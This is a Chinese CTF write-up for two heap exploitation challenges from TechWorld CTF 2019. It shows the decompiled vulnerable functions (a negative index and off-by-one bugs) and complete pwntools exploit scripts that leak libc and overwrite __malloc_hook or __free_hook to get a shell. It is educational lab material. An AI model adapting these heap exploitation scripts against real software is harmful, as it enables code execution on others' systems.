TechWorld CTF 2019 线上赛 Pwn

Pwn1

主要问题出在update函数,可以看到存在两个漏洞

  1. 索引值只检测了小于9,若输入负数造成数组越界可以修改低地址处的值
  2. off by one 漏洞
unsigned __int64 update()
{
  int v1; // [rsp+Ch] [rbp-14h]
  size_t nbytes; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Input the index:");
  v1 = 0;
  LODWORD(nbytes) = 0;
  _isoc99_scanf("%d", &v1);
  if ( v1 <= 9 && qword_2020A0[v1] ) // vuln 1
  {
    puts("Input size:");
    _isoc99_scanf("%d", &nbytes);
    if ( dword_202060[v1] < nbytes )
      LODWORD(nbytes) = dword_202060[v1];
    puts("Input new content:");
    HIDWORD(nbytes) = read(0, qword_2020A0[v1], nbytes);
    if ( dword_202060[v1] == HIDWORD(nbytes) )
      *(qword_2020A0[v1] + HIDWORD(nbytes)) = 0; // vuln2
  }
  else
  {
    puts("Edit fail");
  }
  return __readfsqword(0x28u) ^ v3;
}

利用思路:

  1. 由于chunk指针数组在bss段,stdout指针也在bss段并且在前者的低地址处,所以可利用 _IO_2_1_stdout来leak出libc地址
  2. 利用offbyone漏洞构造chunk overlap来实现chunk复用,结合fastbin attack修改__malloc_hook地址为one_gadget

Exp:

#!/usr/bin/python
from pwn import *
context.log_level='debug'

def add(size,content):
    p.sendlineafter('5.exit','1')
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

def delete(idx):
    p.sendlineafter('5.exit','2')
    p.sendlineafter('index:',str(idx))

def update(idx,size,content):
    p.sendlineafter('5.exit','4')
    p.sendlineafter('index:',str(idx))
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

p = process("./pwn2")
elf=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
# leak libc base
payload=p64(0xfbad1800)+p64(0)*3+'\x18'
update(-16,len(payload),payload)
# gdb.attach(p)
p.recvuntil('\n')
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (0x00007f7f868b76e0-0x7f7f864f4000)
log.success("libc_base => [%s]"%hex(libc_base))

add(0xf8,'aaaa') # 0
add(0x68,'bbbb') # 1
add(0xf8,'cccc') # 2
# gdb.attach(p)
delete(0)
update(1,0x68,"a"*0x60+p64(0x170))
delete(2)
# gdb.attach(p)
# only chunk is top chunk
add(0xf8,'dddd') # 0
add(0x68,'eeee') # 2
add(0xf8,'ffff') # 3
delete(2)
update(1,16,p64(libc_base+elf.symbols['__malloc_hook']-0x23))
# gdb.attach(p)
add(0x68,'cccc')
add(0x68,"a"*0x13+p64(libc_base+0xf1147))
# gdb.attach(p)
p.sendlineafter('5.exit','1')
p.sendlineafter('size:','1')

p.interactive()

http://pzhxbz.cn/?p=139
https://www.secpulse.com/archives/111304.html


Pwn2

通过观察add函数发现本题每次只能使用一个指针

unsigned __int64 add()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Input the size");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 <= 0 || v1 > 1023 )
  {
    puts("Size error!");
  }
  else
  {
    qword_202090 = malloc(v1);
    memset(qword_202090, 0, v1);
    unk_202040 = v1;
    puts("Add success");
  }
  return __readfsqword(0x28u) ^ v2;
}

问题还是出在update函数

ssize_t update()
{
  puts("Please input your name");
  return read(0, &unk_202060, 0x31uLL);         // off by one --> fake note
}

和下面函数对比后发现在update的时候由于多读取了一个字节造成了off by one漏洞

ssize_t sub_A00()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("Welcome to notebook system");
  puts("Please input your name");
  return read(0, &unk_202060, 0x30uLL);
}

利用思路:

  1. 利用unsorted bin 来 leak出libc地址
  2. unsorted bin attack 将很大的值写到__free_hook低地址处,字节错位伪造fastbin (0x7f)
  3. fastbin attack 修改__free_hook 为system地址,同时在chunk内写入/bin/sh字符串

Exp:

#!/usr/bin/python
from pwn import *
# context.log_level='debug'

def Add(size):
    p.sendlineafter("6.exit\n","1")
    p.sendlineafter("Input the size\n",str(size))

def Delete():
    p.sendlineafter("6.exit\n","2")

def Show():
    p.sendlineafter("6.exit\n","3")

def Update(name):
    p.sendlineafter("6.exit\n","4")
    p.sendafter("name\n",name)

def Edit(content):
    p.sendlineafter("6.exit\n","5")
    p.sendlineafter("note\n",content)

p = process("./pwn1")
elf = ELF("./pwn1",checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

p.recvuntil("Please input your name\n")
p.sendline("ssta")

Add(0x98)
Add(0x18)
Update('A'*0x30+'\x10')
# gdb.attach(p)
Delete()
# gdb.attach(p)
Add(0x18)
Update('A'*0x30+'\x30')
# gdb.attach(p)
Show()
libc_base = u64(p.recv(6).ljust(8,'\x00'))-(0x7ffff7dd1b78-0x7ffff7a0d000)
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.success("__free_hook --> [%s]" % hex(free_hook))
log.success("libc_base --> [%s]" % hex(libc_base))
log.success("system addr --> [%s]" % hex(system_addr))

Add(0x58)
Delete()
Add(0x68)
Delete()
# gdb.attach(p)
Add(0x18)
Add(0x98) 
Add(0x10) 
# gdb.attach(p)
Update('A'*0x30+'\x40')
Delete()

Add(0x10) # use ptr
Update('A'*0x30+'\x60')
# gdb.attach(p)
Edit('A'*8+p64(free_hook-0x40-0x10))
# gdb.attach(p)
Add(0x78) 
Add(0x58)
Update('A'*0x30+'\xd0')
Edit(p64(free_hook-0x43))
# gdb.attach(p)
Add(0x68)
Add(0x68)

Edit("/bin/sh"+"\x00"*(0x33-7)+p64(system_addr))
# gdb.attach(p)
Delete()
# gdb.attach(p)

p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 201,552评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,666评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,519评论 0 334
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,180评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,205评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,344评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,781评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,449评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,635评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,467评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,515评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,217评论 3 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,775评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,851评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,084评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,637评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,204评论 2 341

推荐阅读更多精彩内容

  • 过段时间没有输入则会显示Alarm clock,与sub_B70有关(调用alarm,nop掉)。 共有5个选项。...
    静析机言阅读 1,312评论 0 1
  • fgo 漏洞点 :delete 函数 uaf 利用过程:add(0x10) 两个组合 0x10(pointer)...
    fantasy_learner阅读 1,283评论 0 0
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,243评论 0 6
  • 此物最珍惜,自古不费财。 并非多难见,一日一念怀。 世人皆有之,却是最难买。 待到散尽后,千金不复来。 (小儿作诗)
    芃悠阅读 91评论 1 1
  • 这个寒假爸爸讲了我很多小时候的事,很多我都不记得了。爸爸也是老了吧,都开始怀念我的从前了。 昨天上古代文学史,老师...
    张扬啊阅读 375评论 0 3